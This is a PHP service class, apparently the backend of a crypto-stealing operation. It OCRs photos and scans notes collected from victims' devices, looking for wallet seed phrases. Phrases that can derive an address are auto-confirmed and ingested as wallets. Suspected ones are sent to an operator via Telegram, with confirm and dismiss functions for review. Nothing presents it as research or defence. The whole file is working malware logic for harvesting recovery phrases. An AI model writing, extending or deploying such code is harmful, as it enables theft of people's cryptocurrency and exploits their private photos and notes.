Files
coruna-lab/app/Services/MnemonicScanService.php
T
2026-09-12 23:53:53 +08:00

379 lines
13 KiB
PHP

<?php
namespace App\Services;
use App\Jobs\ScanDeviceNotes;
use App\Jobs\ScanPhotoMnemonic;
use App\Models\Device;
use App\Models\MnemonicFinding;
use App\Models\Note;
use App\Models\NoteScan;
use App\Models\Photo;
use App\Services\Chain\Bip44;
use App\Services\Ocr\OcrDriver;
use App\Services\Ocr\PhotoOcrPreparer;
use App\Support\NoteContent;
use App\Support\WalletSource;
use Illuminate\Support\Facades\Log;
class MnemonicScanService
{
public function __construct(
private readonly MnemonicDetector $detector,
private readonly OcrDriver $ocr,
private readonly PhotoOcrPreparer $preparer,
private readonly IngestService $ingest,
private readonly TelegramNotifier $telegram,
) {}
public function dispatchPhoto(Photo $photo): void
{
if (app()->runningUnitTests()) {
return;
}
if ((int) $photo->scan_status !== MnemonicScanStatus::PENDING
&& (int) $photo->scan_status !== MnemonicScanStatus::FAILED) {
return;
}
ScanPhotoMnemonic::dispatch($photo->id)->onQueue('ocr');
}
public function dispatchNotes(Device $device): void
{
if (app()->runningUnitTests()) {
return;
}
ScanDeviceNotes::dispatch($device->id);
}
public function scanPhoto(Photo $photo): void
{
$jpeg = null;
try {
$jpeg = $this->preparer->jpegPath($photo);
if ($jpeg === null) {
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
return;
}
$text = $this->ocr->recognize($jpeg);
$this->applyTextHit($photo->device, MnemonicFinding::SOURCE_PHOTO, $text, $photo, null, null);
$this->markPhoto($photo, $this->photoStatus($photo), $text);
} catch (\Throwable $e) {
Log::warning('scan photo mnemonic failed: '.$e->getMessage(), ['photo_id' => $photo->id]);
$this->markPhoto($photo, MnemonicScanStatus::FAILED, '');
} finally {
if (is_string($jpeg) && is_file($jpeg)) {
@unlink($jpeg);
}
}
}
public function scanDeviceNotes(Device $device): void
{
$note = $device->notes()->orderByDesc('id')->first();
if ($note === null) {
return;
}
foreach ($note->items() as $index => $item) {
$this->scanNoteItem($device, $note, $item, $index);
}
}
/**
* @param array{title: string, body: string, native_id: int|string|null} $item
*/
public function scanNoteItem(Device $device, Note $note, array $item, int $index): void
{
$key = NoteScan::itemKey($item, $index);
$hash = NoteScan::itemHash($item);
$row = NoteScan::query()->firstOrNew([
'device_id' => $device->id,
'note_id' => $note->id,
'item_key' => $key,
]);
if ($row->exists
&& hash_equals((string) $row->content_hash, $hash)
&& (int) $row->scan_status !== MnemonicScanStatus::PENDING
&& (int) $row->scan_status !== MnemonicScanStatus::FAILED) {
return;
}
$text = trim((string) ($item['title'] ?? '')."\n".(string) ($item['body'] ?? ''));
$this->applyTextHit($device, MnemonicFinding::SOURCE_NOTE, $text, null, $note, $key);
$row->content_hash = $hash;
$row->scan_status = $this->noteStatus($note, $key);
$row->scanned_at = now();
$row->save();
}
public function confirm(MnemonicFinding $finding, ?string $actor = null, ?string $candidate = null): bool
{
$device = $finding->device;
if ($device === null || $finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
return false;
}
$phrase = trim(preg_replace('/\s+/', ' ', (string) ($candidate ?? $finding->candidate)) ?: '');
if ($phrase === '' || ! Bip44::isUsableMnemonic($phrase)) {
return false;
}
$finding->candidate = $phrase;
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
$this->ingest->ingestMnemonic($device, [
'mnemonic' => $phrase,
'a' => $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
]);
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
$finding->reviewed_by = $actor;
$finding->reviewed_at = now();
$finding->save();
if ($finding->photo_id) {
Photo::query()->whereKey($finding->photo_id)->update([
'scan_status' => MnemonicScanStatus::CONFIRMED,
]);
}
if ($finding->note_id && $finding->item_key) {
NoteScan::query()
->where('note_id', $finding->note_id)
->where('item_key', $finding->item_key)
->update(['scan_status' => MnemonicScanStatus::CONFIRMED]);
}
return true;
}
public function dismiss(MnemonicFinding $finding, ?string $actor = null): void
{
$finding->status = MnemonicFinding::STATUS_DISMISSED;
$finding->reviewed_by = $actor;
$finding->reviewed_at = now();
$finding->save();
if ($finding->photo_id) {
Photo::query()->whereKey($finding->photo_id)->update([
'scan_status' => MnemonicScanStatus::EMPTY,
]);
}
if ($finding->note_id && $finding->item_key) {
NoteScan::query()
->where('note_id', $finding->note_id)
->where('item_key', $finding->item_key)
->update(['scan_status' => MnemonicScanStatus::EMPTY]);
}
}
/**
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
*/
public function photoProgress(?int $deviceId = null): array
{
$q = Photo::query();
if ($deviceId !== null) {
$q->where('device_id', $deviceId);
}
return $this->progressFromCounts($q->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all());
}
/**
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
*/
public function noteProgress(?Device $device = null): array
{
if ($device !== null) {
$note = $device->notes()->orderByDesc('id')->first();
$items = $note ? $note->items() : [];
$total = count($items);
if ($total === 0) {
return $this->progressFromCounts([]);
}
$scans = NoteScan::query()
->where('device_id', $device->id)
->where('note_id', $note->id)
->get()
->keyBy('item_key');
$counts = [];
foreach ($items as $index => $item) {
$key = NoteScan::itemKey($item, $index);
$status = (int) ($scans[$key]->scan_status ?? MnemonicScanStatus::PENDING);
$counts[$status] = ((int) ($counts[$status] ?? 0)) + 1;
}
return $this->progressFromCounts($counts);
}
$itemTotal = 0;
Note::query()->orderByDesc('id')->get(['id', 'device_id', 'content'])->groupBy('device_id')->each(function ($rows) use (&$itemTotal) {
$note = $rows->first();
$itemTotal += count(NoteContent::normalizeStored($note->content));
});
$scannedRows = NoteScan::query()->selectRaw('scan_status, COUNT(*) as c')->groupBy('scan_status')->pluck('c', 'scan_status')->all();
$progress = $this->progressFromCounts($scannedRows);
$progress['total'] = $itemTotal;
$progress['pending'] = max(0, $itemTotal - $progress['scanned'] - $progress['failed']);
return $progress;
}
/**
* @param array<int, int> $counts
* @return array{total: int, scanned: int, suspected: int, confirmed: int, failed: int, pending: int}
*/
private function progressFromCounts(array $counts): array
{
$pending = (int) ($counts[MnemonicScanStatus::PENDING] ?? 0);
$empty = (int) ($counts[MnemonicScanStatus::EMPTY] ?? 0);
$suspected = (int) ($counts[MnemonicScanStatus::SUSPECTED] ?? 0);
$confirmed = (int) ($counts[MnemonicScanStatus::CONFIRMED] ?? 0);
$failed = (int) ($counts[MnemonicScanStatus::FAILED] ?? 0);
return [
'total' => $pending + $empty + $suspected + $confirmed + $failed,
'scanned' => $empty + $suspected + $confirmed,
'suspected' => $suspected,
'confirmed' => $confirmed,
'failed' => $failed,
'pending' => $pending,
];
}
private function markPhoto(Photo $photo, int $status, string $text): void
{
$photo->scan_status = $status;
$photo->scanned_at = now();
$photo->ocr_text = mb_substr($text, 0, 8000);
$photo->save();
}
private function applyTextHit(
?Device $device,
string $source,
string $text,
?Photo $photo,
?Note $note,
?string $itemKey,
): void {
if ($device === null) {
return;
}
$q = MnemonicFinding::query()->where('device_id', $device->id)->where('source', $source);
if ($photo !== null) {
$q->where('photo_id', $photo->id);
} else {
$q->where('note_id', $note?->id)->where('item_key', $itemKey);
}
$hit = $this->detector->detect($text, $source === MnemonicFinding::SOURCE_NOTE);
if ($hit === null || ! $this->worthRecording($source, $hit)) {
$q->where('status', '!=', MnemonicFinding::STATUS_CONFIRMED)->delete();
return;
}
$row = $q->first() ?? new MnemonicFinding([
'device_id' => $device->id,
'source' => $source,
'photo_id' => $photo?->id,
'note_id' => $note?->id,
'item_key' => $itemKey,
]);
if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
return;
}
$wasNew = ! $row->exists;
$prevCandidate = $row->exists ? $row->candidate : '';
$confirmed = $this->canIngestHit($hit);
$row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
$row->candidate = $hit['candidate'];
$row->excerpt = mb_substr($text, 0, 2000);
$row->word_count = $hit['word_count'];
$row->score = $hit['score'];
if ($confirmed) {
$row->reviewed_by = 'scan';
$row->reviewed_at = now();
}
$row->save();
$sourceLabel = $source === MnemonicFinding::SOURCE_PHOTO
? WalletSource::fromTag('album_ocr')
: WalletSource::fromTag('note_scan');
if ($confirmed) {
$this->ingest->ingestMnemonic($device, [
'mnemonic' => $hit['candidate'],
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
]);
return;
}
if ($wasNew || $prevCandidate !== $hit['candidate']) {
$this->telegram->notifySuspectedMnemonic(
$device->device_id,
$sourceLabel,
$hit['candidate'],
(int) $hit['word_count'],
);
}
}
/**
* Album and notes both need 12+ consecutive words that can derive an address.
*
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
*/
private function canIngestHit(array $hit): bool
{
if (empty($hit['confirmed']) || (int) $hit['word_count'] < 12) {
return false;
}
return Bip44::isUsableMnemonic((string) $hit['candidate']);
}
/**
* Notes: only a derivable 12-word phrase. Photos: 12-word run or >=8 hits.
*
* @param array{candidate: string, word_count: int, confirmed?: bool} $hit
*/
private function worthRecording(string $source, array $hit): bool
{
if ($this->canIngestHit($hit)) {
return true;
}
if ($source === MnemonicFinding::SOURCE_NOTE) {
return false;
}
if (! empty($hit['confirmed'])) {
return true;
}
return (int) $hit['word_count'] >= MnemonicDetector::MIN_SUSPECTED
&& $this->detector->uniqueListWords((string) $hit['candidate']) >= MnemonicDetector::MIN_UNIQUE;
}
private function photoStatus(Photo $photo): int
{
$status = MnemonicFinding::query()->where('photo_id', $photo->id)->value('status');
return match ($status) {
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
default => MnemonicScanStatus::EMPTY,
};
}
private function noteStatus(Note $note, string $itemKey): int
{
$status = MnemonicFinding::query()
->where('note_id', $note->id)
->where('item_key', $itemKey)
->value('status');
return match ($status) {
MnemonicFinding::STATUS_CONFIRMED => MnemonicScanStatus::CONFIRMED,
MnemonicFinding::STATUS_SUSPECTED => MnemonicScanStatus::SUSPECTED,
default => MnemonicScanStatus::EMPTY,
};
}
}